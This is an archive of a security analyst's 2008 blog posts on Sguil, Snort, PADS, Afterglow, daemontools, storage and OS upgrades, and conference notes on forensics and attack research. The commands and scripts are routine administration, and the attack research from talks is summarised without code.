To remove the other columns, I used sed. Perl or awk would work fine, too, and it is pretty easy to script. Here is an example I used without scripting. I am writing to a new file so I keep the original file intact. If you exported from Sguil and included the column names on the first line, the following command will delete the first and last lines to clean up the data before removing the extra columns.

$ sed '1d' sancpquery_1.csv |  sed 's/^\([^,]*,[^,]*,[^,]*,[^,]*,\)\([^,]*,\)\([^,]*,\)
\([^,]*,[^,]*\)\(,[^,]*,[^,]*,[^,]*,[^,]*\)/\2\4/' > sancpquery_1_3col.csv

With a CSV exported from the results of a sancp query, that will leave you with the required three columns. Next, from the directory where I extracted afterglow, I can feed it the CSV. The results are using different values for "-p", zero being the default. Values of "-p 1" and "-p 3" made identical images.

$ cat /home/nr/sancpquery_1_3col.csv | src/perl/graph/afterglow.pl -v -p 0 -e 1.5
-c src/perl/parsers/color.properties | neato -Tgif -o ~/sancpquery_p0.gif

Afterglow is an interesting tool. I can definitely see how it could help when looking at data on a spreadsheet isn't enough to visualize where and systems were connecting and on which ports. I can definitely think of some more features that might be useful, like showing timestamps or time ranges on connections, or even animating the images to show a sequence of events, but adding features could also make it unnecessarily complex.

Snort 2.8.1 changes and upgrading

2008-05-23T22:51:00.001-04:00

Snort 2.8.1 has been out since April, so this post is a little late. I wanted to upgrade some Red Hat/CentOS systems from Snort 2.8.0.2 to 2.8.1. When I write RHEL or Red Hat, it will include CentOS since what is applies to one should apply to the other.

I quickly found that the upgrade on RHEL4 was not exactly straightforward because the version of pcre used on RHEL4 is pcre 4.5, which is years old. Snort 2.8.1 requires at least pcre 6.0. For reference, RHEL5 is using pcre 6.6.

PCRE Changes

I had assumed an upgrade from 2.8.0.2 to 2.8.1 was minor, but the pcre change indicated there were definitely significant changes between versions. A few of the pcre changes made it into the Snort ChangeLog, and there is more in the Snort manual. I also had a brief discussion about the pcre changes with a few SourceFire developers that work on Snort and some other highly technical Snort users.

The most significant changes seems to be adding limits to pcre matching to help prevent performance problems and denial of service through pcre overload. At regular expression compile time, there will be a maximum number of state changes that can be passed and on evaluation libpcre will only change states that many times. There is a global config option that sets the maximum number of state changes and the limit can also be disabled per regular expression if needed.

The related configuration options for snort.conf are pcre_match_limit:

Restricts the amount of backtracking a given PCRE option. For example, it will limit the number of nested repeats within a pattern. A value of -1 allows for unlimited PCRE, up to the PCRE library compiled limit (around 10 million). A value of 0 results in no PCRE evaluation. The snort default value is 1500.

and pcre_match_limit_recursion:

Restricts the amount of stack used by a given PCRE option. A value of -1 allows for unlimited PCRE, up to the PCRE library compiled limit (around 10 million). A value of 0 results in no PCRE evaluation. The snort default value is 1500. This option is only useful if the value is less than the pcre_match_limit

The main discussion between the SourceFire folks and everyone else was whether it was wise to have the limits turned on by default and where the default of 1500 came from. I think leaving the pcre limits on by default makes sense because those that don't fiddle much with the Snort configuration probably need the protection of the limits more than someone that would notice when Snort performance was suffering.

The argument against having the limits on by default is that it could make certain rules ineffective. By cutting short the pcre, the rule may not trigger on traffic that should cause a Snort alert. I suspect that not many rules will hit the default pcre limit.

Other Changes Included in Snort 2.8.1

From the release notes:

[*] New Additions
* Target-Based support to allow rules to use an attribute table
  describing services running on various hosts on the network.
  Eliminates reliance on port-based rules.

* Support for GRE encapsulation for both IPv4 & IPv6.

* Support for IP over IP tunneling for both IPv4 & IPv6.

* SSL preprocessor to allow ability to not inspect encrypted traffic.

* Ability to read mulitple PCAPs from the command line.

The SSL/TLS preprocessor helps performance by allowing Snort to ignore encrypted traffic rather than inspecting it. I haven't looked at the target-based support yet, but it definitely sounds interesting.

I also noticed something from 2007-12-10 in the ChangeLog:

 * configure.in:
       Add check for Phil Woods pcap so that pcap stats are computed
       correctly.  Thanks to John Hally for bringing this to our
       attention.

That should be good for those running Phil Wood's pcap who may not have been seeing accurate statistics about packet loss.

A last note of interest about Snort 2.8.1 is that it fixes a vulnerability related to improper reassembly of fragmented IP packets.

Upgrading

Upgrading on RHEL5 was pretty simple, but upgrading on RHEL4 required downloading the source RPM for the pcre included with RHEL5 and building a RPM for RHEL4.

First, I installed compilers and the rpm-build package and the RPM source package for pcre-6.6. (Note that I'm using CentOS4 in the example, but the procedures for Red Hat should be nearly identical except for URLs). Next I built the pcre-6.6 RPMs and installed both pcre and pcre-devel.

# up2date -i cpp gcc gcc-c++ rpm-build
# rpm -Uvh http://isoredirect.centos.org/centos/5/updates/SRPMS/pcre-6.6-2.el5_1.7.src.rpm
$ rpmbuild -bb /usr/src/redhat/SPECS/pcre.spec
# rpm -U /usr/src/redhat/RPMS/i386/pcre-*rpm
# rpm -q pcre pcre-devel
pcre-6.6-2.7
pcre-devel-6.6-2.7

Now I can configure, make and make install Snort as usual. The snort.conf file will also need to be updated to reflect new options like the SSL/TLS preprocessor and non-default pcre checks. Note that the README.ssl also recommends changes to the stream5 preprocessor based on the SSL configuration.

$ ./configure --enable-dynamicplugin --enable-stream4udp --enable-perfprofiling
$ make
# make install

If you are building on a production box instead of a development box, some would recommend removing the compilers afterwards.

Here is an example of a SSL/TLS and stream5 configuration using default ports. By adding the default SSL/TLS ports to stream5_tcp settings, you also have to enumerate the default stream5_tcp ports or they will not be included. I bolded the default SSL/TLS ports, and the rest are default stream5_tcp ports:

preprocessor stream5_global: track_tcp yes, track_udp yes, track_icmp yes
preprocessor stream5_tcp: policy first, ports both 21 23 25 42 53 80 \
     110 111 135 136 137 139 143 443 445 465 513 563 636 \
     989 992 993 994 995 1433 1521 3306
preprocessor stream5_udp
preprocessor stream5_icmp
preprocessor ssl: \
     noinspect_encrypted

I have tested to make sure Snort runs with this configuration for these preprocessors, but don't just copy it without checking my work. It is simply an example after reading the related README documentation. Note that the Stream 5 TCP Policy Reassembly Ports output to your message log when starting Snort will be truncated after the first 20 ports but all the ports listed will be included by Stream 5.

Query sguildb for alert name then do name lookup

2008-05-16T21:23:00.012-04:00

I wrote a Perl script to query for a specific alert name and then get the NetBIOS or DNS name of the systems that triggered the alert. This script is useful to me mainly as an automated reporting tool. An example would be finding a list of systems associated with a specific spyware alert that is auto-categorized within Sguil. The alert will never show up in the RealTime alerts but I use the script to get a daily email on the systems triggering the alert.

Some alerts aren't important enough to require a real-time response but may need remediation or at least to be included in statistics. I don't know if this would be useful for others as it is written, but parts of it might be.

As always with Perl, I welcome suggestions for improvement since I'm by no means an expert. (By the way, does anyone else have problems with Blogger formatting when using <pre> tags?)

#!/usr/bin/perl
#
# by nr
# 2008-05-11
#   Script to query db for a specific alert
#   and do name lookup based on source IP address in results

use strict;

# Requires MySQL, netbios and DNS modules
use Mysql;
use Net::NBName;
use Net::DNS;

my $host = "localhost";
my $database = "sguildb";
my $tablename = "event";
my $user = "sguil";
my $pw = "PASSWORD";
my $alert = 'ALERT NAME Here';

# Set the query
my $sql_query = "SELECT INET_NTOA(src_ip) as src_ip,count(signature) as count FROM $tablename \
    WHERE $tablename.timestamp > DATE_SUB(UTC_DATE(),INTERVAL 24 HOUR) AND $tablename.signature \
    = '$alert' GROUP BY src_ip";

# perl mysql connect()
my $sql_connect = Mysql->connect($host, $database, $user, $pw);

print "\"$alert\" alerts in the past 24 hours: \n\n";
print "Count    IP Address  Hostname\n\n";

my $execute = $sql_connect->query($sql_query); # Run query

# Fetch query results and loop
while (my @result = $execute->fetchrow) {
    my @hostname; # 1st element of this array is used later for name queries
    my $ipresult = $result[0]; # Set IP using query result
    my $count = $result[1]; # Set alert count using query result
    my $nb_query = Net::NBName->new; # Setup new netbios query
    my $nb = $nb_query->node_status($result[0]);
    # If there is an answer to netbios query
    if ($nb) {
        my $nbresults = $nb->as_string; # Get query result
        # Split at < will make $hostname[0] the netbios name
        # Is there a better way to do this using a substitution?
        @hostname = split /</, $nbresults;
    } else {
        # Do a reverse DNS lookup if no netbios response
        # May want to add checks to make sure external IPs are ignored
        my $res = Net::DNS::Resolver->new;
        my $namequery = $res->query("$result[0]","PTR");
        if ($namequery) {
            my $dnsname = ($namequery->answer)[0];
            $hostname[0] = $dnsname->rdatastr;
        } else {
            $hostname[0] = "UNKNOWN"; # If no reverse DNS result
        }
    }
format STDOUT =
@>>>    @<<<<<<<<<<<<<< @*
$count, $ipresult,      $hostname[0]
.
    write;
}

NoVASec: Memory Forensics

2008-04-30T19:07:00.001-04:00

Richard Bejtlich arranged a NoVASec meeting on memory forensics for Thursday, April 24. Aaron Walters of Volatile Systems was the scheduled speaker. George Garner of GMG Systems, Inc., also showed up, so we were lucky enough to get two speakers for the price of one. (If you aren't aware, NoVASec is actually free). Aaron primarily talked about performing forensics and analysis on memory dumps, and afterwards Richard asked George to come up from the audience and talk about the challenges of actually acquiring the memory dumps.

Both Aaron and George were very knowledgeable and had a lot of interesting things to discuss. In fact, most of us didn't leave until after 22:00 so there was a good two and a half hours of technical discussion. It wouldn't do them justice for me to try and recap their talks, but I will mention a couple brief thoughts I jotted down while listening. If I'm getting anything wrong here, someone please pipe up and let me know.

First is that I saw some parallels between points mentioned by Aaron and Network Security Monitoring. Aaron stated that a live response on a system requires some trust of the system's operating system, is obtrusive, and is unverifiable. Dumping the RAM and performing an analysis using a trusted system helps mitigate these problems though I don't think he meant it solves them completely. Similarly, in NSM we use information that is gathered by our most trustworthy systems, network sensors that allow limited access, rather than trusting what we find on the host. In forensics and NSM, steps are taken to increase the trustworthiness and verifiability of information that is gathered.

Second, Aaron and George both seemed to agree that acquiring memory contents is not easy. Not only can it be difficult, but even a successful acquisition has issues. George pointed out that if you don't isolate the system, an attacker could be altering the system or memory as you acquire it. He also pointed out that dumping the memory is actually sampling, not an image, because the RAM contents are always changing even on a system that has been isolated from the network. One memory dump is just one sample of what resided in memory at a given time. More evidence and more sampling will increase the reliability of the evidence attained. Also, gathering evidence from multiple sources, for instance hard drive forensics, memory forensics and NSM, increases the probability evidence will be accurate and verifiable.

There was also some discussion of PCI and video devices as they relate to both exploiting systems and memory forensics. Acquiring memory can be an issue on systems using PAE since reading from the space used by PCI devices can crash the system. On the exploit side, the GPU and RAM on video cards can be used to help facilitate attacks, as can certain PCI devices. There is a lot of interesting work going on in this field, and George even mentioned that he has been working on tools for acquiring the contents of memory from video cards.

It was an excellent meeting.

Defcon 16 Race to Zero

2008-04-27T17:17:00.001-04:00

There have been articles about Defcon's Race to Zero since it was announced. I first read about it on the Daily Dave mailing list when the announcement was posted a couple days ago on 27 April. Apparently, some vendors and media are unhappy and criticizing the competition. While this is not surprising, it strikes me as pointless to complain about a competition that is just demonstrating what can be and already is done in the wild.

From the Race to Zero site:

The event involves contestants being given a sample set of viruses and malcode to modify and upload through the contest portal. The portal passes the modified samples through a number of antivirus engines and determines if the sample is a known threat. The first team or individual to pass their sample past all antivirus engines undetected wins that round. Each round increases in complexity as the contest progresses.

Anyone that has submitted real malware samples to a service like VirusTotal already knows how pitiful and inconsistent anti-virus software is at detecting malware, particularly if it is new or newly modified. There is a reason we see so many variants of the same malware, and it's not because anti-virus is so effective that malware authors have to completely rewrite their code.

Reverse engineering and code analysis is fun.
Not all antivirus is equal, some products are far easier to circumvent than others. Poorly performing antivirus vendors should be called out.
The majority of the signature-based antivirus products can be easily circumvented with a minimal amount of effort.
The time taken to modify a piece of known malware to circumvent a good proportion of scanners is disproportionate to the costs of antivirus protection and the losses resulting from the trust placed in it.
Signature-based antivirus is dead, people need to look to heuristic, statistical and behaviour based techniques to identify emerging threats
Antivirus is just part of the larger picture, you need to look at controlling your endpoint devcies [sic] with patching, firewalling and sound security policies to remain virus free.

Although I have very limited and basic experience reverse engineering malware, it does seem fun and interesting. I also totally agree that vendors need to be called out.

Heuristic, statistical and behavior-based techniques may indeed help, but point number six seems equally important. I don't really know what the best solution is, but hopefully some vendors will eventually realize that their methods and models need to change to become more proactive instead of reactive.

PADS signatures, NSMWiki, OpenPacket

2008-04-09T17:23:00.002-04:00

I added a few PADS signatures to the NSMWiki. Anyone else that has some should definitely contribute since the standard signature set is fairly small and has a huge potential for improvement. I'm sure that any other useful contributions to NSMWiki are also appreciated.

Richard Bejtlich posted about OpenPacket being online. I think the idea is great and there is a strong community of people that have signed on to help him with various aspects of the site.

OpenPacket.org is a Web site whose mission is to provide a centralized repository of network traffic traces for researchers, analysts, and other members of the digital security community.

For anyone just starting out in digital security or looking to get into the field, I strongly encourage you to participate in the security community as a whole. The number of ways to participate are too numerous for me to list, but there is definitely a lot to be learned from others who are more experienced, less experienced, or just have different types of experience. Just reading blogs, news, mailing lists and other sites can be enlightening, and once you get your feet wet you may find yourself contributing in short order.

Upgrading from Sguil 0.7.0 CVS to RELEASE

2008-03-27T21:17:00.001-04:00

Sguil 0.7.0 was released this week. The upgrade from 0.6.1 takes a little more effort because of the change to multiple agents, but since I was already running 0.7.0 from CVS, upgrading was fairly easy.

The Sguil overview page at NSMWiki notes some of the differences between 0.6.1 and 0.7.0. It also has some nifty diagrams someone (***cough***me***cough***) contributed that may help people visualize the data flow in Sguil 0.7.0.

Here is how I upgraded from CVS to the release version.

First, I pre-staged the systems by copying the appropriate Sguil components to each system. Then I shut down the agents on all sensors and stop sguild on the server.

Looking in my sguild directory, there is not that much that will actually need to be replaced.

$ ls /etc/sguild/
CVS/                  certs/    sguild*        sguild.email    sguild.users
archive_sguildb.tcl*  contrib/  sguild.access  sguild.queries  sql_scripts/
autocat.conf          lib/      sguild.conf    sguild.reports  xscriptd*

I start by making a backup of this whole directory. The files or directories that I don't want to lose are:

sguild.conf: sguild configuration file
sguild.users: sguild's user and password hash file
sguild.reports: I have some custom reports, including some based on the reporting and data mining page of NSMWiki.
autocat.conf: used to automatically categorize alerts based on specific criteria, and most people that have done any tuning will hopefully have taken advantage of autocat.conf
certs/: sguild cert directory

Some people may also have added standard global queries in sguild.queries, or access controls in sguild.access. These are all basically configuration files, so if you have changed them you may want to keep them or include the changes in the new files.

After deciding what I need to keep, I upgrade the server.

$ mv -v /etc/sguild/server ~/sguild-old
$ cp -R ~/src/sguil-0.7.0/server /etc/sguild/
$ cp -R ~/sguild-old/certs /etc/sguild/server/
$ cp ~/sguild-old/sguild.users /etc/sguild/server/
$ cp ~/sguild-old/sguild.conf /etc/sguild/server/
$ cp ~/sguild-old/sguild.reports /etc/sguild/server/
$ cp ~/sguild-old/autocat.conf /etc/sguild/server/

Then I edit my sguild init script to remove "-o" and "-s" since encryption is now required instead of optional. The new version of sguild and the agents will give errors if you start them without removing the switches.

I start sguild and see that it is working, so next is the sensor. On the sensor, I backed up the conf files first.

$ cp -v /etc/sguil-0.7.0/sensor/*.conf ~/
$ rm -Rf /etc/sguil-0.7.0/sensor/
$ cp ~/src/sguil-0.7.0/sensor /etc/sguil-0.7.0/
$ cp ~/*.conf /etc/sguil-0.7.0/sensor/

Then, I edited all the agent init scripts to remove the "-o" switch. The agents are pads, pcap, sancp and snort. Now I can reconnect the agents to the server and the only thing left to do is upgrade my client. For the client upgrade, I replace everything except the sguil.conf file. If I made any modifications to my client, I would also need to incorporate those into the new client.

Passive Tools

2008-03-21T16:25:00.006-04:00

I love passive tools, what I like to think of as the "M" in NSM.

I recently posted about PADS. Sguil also uses p0f for operating system fingerprinting, and sancp for session-logging.

Even the IDS and packet-logging components of Sguil are passive. There are plenty of other good passive tools available.

You can learn a lot just by listening.

You can also run Snort inline and active, which goes a little beyond monitoring, for better or worse.

Using DJ Bernstein's daemontools

2008-03-18T20:25:00.007-04:00

I use DJ Bernstein's daemontools to monitor Barnyard, making sure the barnyard process will restart if it dies for any reason. Barnyard is an output spooler for Snort and is probably the the least stable of all the software that is used when running Sguil. When Barnyard encounters errors and exits, it needs to be restarted.

Daemontools is useful because it will watch a process and restart it when needed. For anyone that has used other DJ Bernstein software like djbdns or qmail, you may also have used daemontools. I think daemontools has a reputation as difficult to install and configure, but I've used it on a number of systems with barnyard or djbdns without any major issues. (As for qmail, I prefer postfix).

Here is how I installed it, which only has one small change from the install instructions.

mkdir -p /package
chmod 1755 /package
tar xzvpf install/daemontools-0.76.tar.gz -C /package/
cd /package/admin/daemontools-0.76/

Before running the install script, note the "errno" section on DJ Bernstein's Unix portability notes. On Linux, since I'm installing from source I need to replace one line in the src/error.h file, as shown in this patch snippet.

-extern int errno;
+#include <errno.h>

After changing error.h, I can run the installer.

./package/install

I configure daemontools to work with barnyard.

mkdir /etc/barnyard
vim /etc/barnyard/run

The "run" file simply is a script that runs barnyard. For example, the contents of mine:

#!/bin/sh
exec /bin/barnyard -c /etc/snort/barnyard.conf -d /nsm -f unified.log \
-w /nsm/waldo.file -a /nsm/by_archive

Next, I link the new barnyard directory to make it a subdirectory of daemontool's service directory.

ln -s /etc/barnyard /service/barnyard

When installing, daemontools automatically adds this entry to /etc/inittab:

SV:123456:respawn:/command/svscanboot

svscanboot starts a svscan process that then starts a supervise process for each subdirectory, which in this case would only be the barnyard directory. I can have the inittab file re-parsed with telinit q after daemontools is installed rather than rebooting.

If the barnyard process dies, daemontools will automatically try and restart it based on the contents of the "run" file.

Now, even if I kill the barnyard process on purpose then it will be restarted automatically. If I need to manage the process, I can use the svc command. For instance, to send barnyard a HUP or a KILL:

svc -h /service/barnyard
svc -k /service/barnyard

To add another process for daemontools to manage, just create a directory, create a run file, then link the new directory to daemontools' service directory.

mkdir /etc/someprocess
vim /etc/someprocess/run
ln -s /etc/someprocess /service/someprocess

Testing PADS

2008-03-08T21:43:00.018-05:00

Before putting PADS into production in a new environment, here is how I tested it.

First, I installed the version needed for integration with Sguil by applying the pads.patch. Note that there is also a PADS VLAN patch. The patching and installing is described in the NSMWiki, but I didn't need to change LDFLAGS or CFLAGS for my installation.

$ patch -p0 < ../patches/pads.patch
$ ./configure 
$ make 
$ sudo make install

Now I can test it.

# pads -i bridge0 -n 192.168.1.0/24
pads - Passive Asset Detection System
v1.2 - 06/17/05
Matt Shelton 

[-] Processing Existing assets.csv
[-] WARNING:  pcap_lookupnet (bridge0: no IPv4 address assigned)
[-] Filter:  (null)
[-] Listening on interface bridge0

[*] Asset Found:  Port - 80 / Host - 192.168.1.3 / Service - www / Application - Apache 2.2.8 (Unix)
[*] Asset Found:  Port - 25 / Host - 192.168.1.3 / Service - smtp / Application - Generic SMTP - Possible Postfix (localhost.localdomain)

Now I try without defining a network.

# pads -i bridge0 -c /usr/local/etc/pads.conf
pads - Passive Asset Detection System
v1.2 - 06/17/05
Matt Shelton 

[-] WARNING:  pcap_lookupnet (bridge0: no IPv4 address assigned)
[-] Filter:  (null)
[-] Listening on interface bridge0

[*] Asset Found:  Port - 80 / Host - 64.233.179.191 / Service - www / Application - GFE/1.3

The Google IP address pops up while I'm logged in and editing this post. When you run PADS, you don't want to monitor all traffic or you'll be detecting services on systems outside your network.

Once I began testing PADS, I realized that I needed to add some signatures because I had some unknown services. This signature that comes with PADS was the one that detected the SMTP from the first test.

smtp,v/Generic SMTP - Possible Postfix//$1/,220 ([-.\w]+) ESMTP\r\n

PADS uses PCRE to test matches.. In this signature, the match inside the () is the host and domain name, and gets printed by using $1. If there was a second match in parentheses, it could be printed with $2. The whole signature is everything after the second comma.

I've already played around with adding or modifying some signatures and I'll probably post those once I get done testing in some different environments. There is an option to dump banner data to a pcap file that is useful to help write new signatures.

pads -i bridge0 -c /usr/local/etc/pads.conf -d bannerdump.pcap

make buildworld from 6.3-STABLE to 7.0-RELEASE

2008-03-05T05:21:00.009-05:00

$ uname -r
6.3-STABLE

I am updating from FreeBSD 6.3-STABLE to 7.0-RELEASE. First I ran cvsup to synchronize my source with RELENG_7_0. When I started through the steps of rebuilding world, I had problems when running make buildworld.

cc1: out of memory allocating 97582896 bytes

Stop in /usr/src/gnu/usr.bin/cc/cc_int.
*** Error code 1

Stop in /usr/src/gnu/usr.bin/cc.
*** Error code 1

Stop in /usr/src.
*** Error code 1

Stop in /usr/src.
*** Error code 1

Stop in /usr/src.

I fixed it by installing ccache and editing /etc/make.conf (see ccache-howto-freebsd.txt).

cd /usr/ports/devel/ccache
make install clean

vim /etc/make.conf
.if !defined(NOCCACHE)
CC=/usr/local/libexec/ccache/world-cc
CXX=/usr/local/libexec/ccache/world-c++
.endif
:wq

Now I can run make cleandir and then make buildworld in /usr/src and don't get errors. I finish up the steps for rebuilding world after that.

$ uname -r
7.0-RELEASE

Using parted and LVM2 for large partitions

2008-03-04T16:37:00.006-05:00

I wanted to spread a partition across two RAID cards, one drive partition on each card. Here is the server's physical drive configuration.

|-RAID0-|-RAID5---------|
| 00 01 | 02 03 04 05 06|

|-RAID5------------------------------------|
| 00 01 02 03 04 05 06 07 08 09 10 11 12 13|

The second RAID5 is a few TB and fdisk won't work on partitions larger than 2TB, so I use parted to create a partition that fills the free space.

# parted /dev/sdc
GNU Parted 1.8.1
Using /dev/sdc
Welcome to GNU Parted! Type 'help' to view a list of commands.
(parted) print

Model: DELL PERC 5/E Adapter (scsi)
Disk /dev/sdc: 3893GB
Sector size (logical/physical): 512B/512B
Partition Table: gpt

Number  Start  End  Size  File system  Name  Flags

(parted) mklabel gpt

(parted) mkpart primary 0 3893G
(parted) print

Model: DELL PERC 5/E Adapter (scsi)
Disk /dev/sdc: 3893GB
Sector size (logical/physical): 512B/512B
Partition Table: gpt

Number  Start   End     Size    File system  Name     Flags
1      17.4kB  3893GB  3893GB               primary

(parted) quit

Then I use LVM2 to combine the two RAIDs, sdb1 and sdc1, into one logical volume.

# pvcreate /dev/sdb1 /dev/sdc1
Physical volume "/dev/sdb1" successfully created
Physical volume "/dev/sdc1" successfully created
# vgcreate nsm_vg /dev/sdb1 /dev/sdc1
Volume group "nsm_vg" successfully created
# pvscan
PV /dev/sdb1   VG nsm_vg   lvm2 [272.25 GB / 632.00 GB free]
PV /dev/sdc1   VG nsm_vg   lvm2 [3.54 TB / 3.54 TB free]
Total: 2 [1.94 TB] / in use: 2 [1.94 TB] / in no VG: 0 [0   ]

# lvcreate -L 3897G -n nsm_lv nsm_vg
Logical volume "nsm_lv" created

# mkfs.ext3 -m 1 /dev/nsm_vg/nsm_lv
mke2fs 1.39 (29-May-2006)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
528482304 inodes, 1056964608 blocks
10569646 blocks (1.00%) reserved for the super user
First nsm block=0
Maximum filesystem blocks=0
32256 block groups
32768 blocks per group, 32768 fragments per group
16384 inodes per group
Superblock backups stored on blocks:
32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632,
2654208,
4096000, 7962624, 11239424, 20480000, 23887872, 71663616, 78675968,
102400000, 214990848, 512000000, 550731776, 644972544

Writing inode tables: done
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 34 mounts or
180 days, whichever comes first.  Use tune2fs -c or -i to override.

# mount /dev/mapper/nsm_vg-nsm_lv /nsm

$ df -h
Filesystem            Size  Used Avail Use% Mounted on
---snip---
/dev/mapper/nsm_vg-nsm_lv
       3.8T  196M  3.8T   1% /nsm

Now I can put the entry for mounting /nsm into /etc/fstab.

Shmoocon 2008 Notes

2008-02-17T19:53:00.015-05:00

I attended my third Shmoocon in a row, Shmoocon 4. As with most conferences, there were some winning talks and some that struggled. I'll have more to say about over-all quality when I discuss the "0wn the Con" session. Since I find myself with a fairly fuzzy memory about specifics of talks I attended at previous Shmoocons, this post is mainly to prevent that from happening again.

I went to H1kari's talk titled "Intercepting Mobile Phone/GSM Traffic." Once again, he was talking about using FPGA, this time to assist in breaking GSM encryption. He also had a lot of nice tidbits about weaknesses in GSM, both in implementation and design. I didn't take notes, but I seem to recall that he mentioned some broadcasts occurring in plain text and that, for some reason, the last 10 bits of the A5 key are zeroed out. (Someone correct me if I am remembering incorrectly). After he finishes computing what are basically GSM rainbow tables, H1kari was talking about cracking GSM in as little as 30 seconds using 16 FPGA and a large amount of disk space. The rainbow tables are being computed using 68 FPGA.

He didn't really address 3G other than saying it is generally superior in terms of security when compared to GSM.

I wandered into the last few minutes of Deviant Ollam's "New Countermeasures to the Bump Key Attack". Although I didn't see enough to comment on the content of the talk, he was getting a great response from the audience and seemed like an entertaining speaker.

The keynote was supposed to be by Edward Felten of Princeton's Center for Information Technology Policy. He apparently had the flu, so one of his graduate students, J. Alex Halderman, had to stand in. Halderman did quite a good job talking about their experience auditing and exploiting voting machines, especially considering what was probably short notice. Most of the information from the talk was widely circulated by the media at one point or another. The keynotes have been consistently good at Shmoocon, so I plan on getting to the keynote at any future Shmoocon I attend.

On day two I attended "SIPing Your Network" by Humberto J. Abdelnur, Radu State and Olivier Festor. There was some very interesting technical content, including discussion of fuzzing, remote eavesdropping, crashing one particular phone using a single packet with an empty data field, and attacking HTTP-enabled phones with cross-site scripting and SQL injection. Their SIP fuzzer is called KiF.

The presenters stated that they can remotely eavesdrop by dialing an IP phone, having it pick up with no user interaction, and then leave the phone in a state where it appears that the call is hung up but the phone will still send voice data. They had technical difficulties with a demo, and really waited too long to skip the demo and push on. They lost some of the audience as a result, but other than that I thought it was a good presentation.

At the end, the presenters, who are French, had a slide with information on their SIP fuzzer's license. The presenters indicated that, since it could be classified as an attack tool and because of French law, there are some restrictive requirements including that the license agreement has to be signed and sent in by the end user via snail-mail.

Jay Beale presented "They're Hacking Our Clients! Why are We Focusing Only on the Servers?" I didn't see any of his opinions as particularly surprising, but it was well presented and he was engaging. It did surprise me when a comment from the audience accused him of fear-mongering. At least in my experience, it is so simple to exploit clients and get internal access that the notion of needing a smart attacker to write a custom exploit against locked-down servers is unnecessary. At this point, I agree with what I think Beale was trying to point out, which is that security has been so focused on Internet-facing servers that clients are relatively easy to exploit and leverage in an attack.

Beale talked about problems with small offices that have private information on client workstations, using the example of his dentist. This struck home for me since my friend mentioned sitting in his dentist's office once and finding their WAP wide open with the factory default administrator account and password.

During the portion of the talk devoted to the difficulty with keeping Windows clients up-to-date in an enterprise, he mentioned non-standard or non-Microsoft software, and vulnerable browser plugins, Adobe Acrobat's plugin for example. It made me think of Richard Bejtlich's posts about thin clients. Of course, thin clients present their own problems and aren't immune to all the security problems of stand-alone desktops, but they may offer advantages by reducing the burdens that are a part of updating.

"VoIP Penetration Testing" by John Kindervag and Jason Ostrom was another interesting talk about voice over IP. The main focus of the presentation was Ostrom's VoIP Hopper, which is a nice pen-test tool that he used to show how insecure VoIP implementations can be. With Cisco VoIP phones, he showed how their default install has the PC-port on the back enabled, it sends out CBP packets, and it has a sticker on it with the MAC address. Some or all of these defaults can be used along with VoIP Hopper to gain access to the VoIP VLAN.

"Advanced Protocol Fuzzing - What we learned when bringing Layer2 logic to SPIKE Land" by Enno Rey and Daniel Mende was a good example of two guys with a strong background in networking who decided to bring fuzzing into their area of expertise and share what they learned. Within a relatively short time, my impression was that they went from little experience fuzzing to customizing SPIKE, and they successfully did a live demonstration showing their ability to crash a Cisco 35xx-series remotely. Dave Aitel already mentioned it on his DailyDave mailing list. This was pretty cool stuff, and it will be interesting to see how quickly others jump into the game.

"0wn the Con" with the Shmoo Group is a talk they have every year that discusses their finances, selection process for talks, methods of collaboration, and more. They also took a lot of feedback from the audience. The main thing I want to point out is that it is really hard to get both consistently good presentations and not rely on the same few presenters every year. Shmoo doesn't want the same old thing, but they want good talks, so it is a difficult balance between risk and reliability. I would say the talks are inconsistent in quality, but it is worth it in my opinion to prevent the talks or presenters from being stale, or having too many repeats from other conferences.

One funny thing is that it took this long for someone to suggest making electronic feedback forms available on the Shmoocon website for each talk. Four years into it, and finally someone has the brilliant idea that people should be able to provide feedback from their laptops while they're listening to the talk instead of using a pen and paper and turning it in at the end of the conference. D'oh!

Kubuntu with Rhine-II NIC

2008-02-07T19:58:00.000-05:00

My Windows XP system at home recently became unbootable with a system error. It's an old system running on an Iwill DVD266-Rn motherboard with dual P3 1.4GHz Tualatins. It is my desktop system designated for non-technical users. After a few brief attempts at a fix from the Windows recovery console, I decided to just install an Ubuntu variant, a fairly safe bet for non-technical users.

I booted to the Ubuntu CD and first backed up all the user profiles and other data to DVD. Then I installed Kubuntu. After installation, I made a few tweaks for my user profile and installed some Firefox plugins like Flash and Java for all users. The whole install and configuration process was fairly quick and painless.

I did have one issue. My network card is an onboard VIA VT6102 Rhine-II.

$ lspci | grep Eth
00:12.0 Ethernet controller: VIA Technologies, Inc. VT6102 [Rhine-II] (rev 61)

It kept flaking out with errors in /var/log/messages.

kernel: [ 2904.217053] NETDEV WATCHDOG: eth0: transmit timed out
kernel: [ 2904.217210] eth0: Transmit timed out, status 0003, PHY status 786d, resetting...
kernel: [ 2904.217848] eth0: link up, 100Mbps, full-duplex, lpa 0x41E1

The only way the NIC would start working again was a reboot. Removing and reinserting the modules did not help.

A web search revealed that this is a common problem with the NIC. Apparently, the NIC does not come back up after the hardware reset. I noticed various proposed solutions for the problem. The solutions included using "noapic" at boot time, using ethtool to disable tso (tcp segmentation offload), and playing around with IRQ settings in the system BIOS.

Next, I checked the kernel log. This error was a bit more informative.

kernel: [ 2064.587535] irq 11: nobody cared (try booting with the "irqpoll" option)

This message also led me to an Ubuntu bug report where a user confirmed that irqpoll solved the problem in at least one case and also where the Ubuntu team indicated the bug does not qualify for a stable release update.

Using "irqpoll" as a default option in my grub configuration seems to fix the problem for me. The NIC has been running without any error messages for about two days now.

Inline devices and fail open

2008-02-06T23:54:00.000-05:00

There was a post to the sguil-users mailing list asking for recommended fail-open network cards in the hopes that it would be less expensive than alternatives. Richard Bejtlich pointed out that the long-term costs and lower downtime make bypass switches worth the initial expense. This make a lot of sense.

One thing people need to note when talking about inline devices and fail-open hardware is that many devices will only fail open in a powered off state. For example, if you're running Snort inline with a fail-open NIC and the Snort process dies, then the box will no longer pass traffic. Your link is down unless you fix the problem by restarting Snort or you shut off the system completely, which will then cause the fail-open NIC to cross-connect and pass traffic.

If a system only fails open when the power is off, you still need to be aware that an operating system or application failure can take down your link if the fail-open hardware remains powered on. NetOptics has some bypass switches that have a heartbeat feature to address this problem.

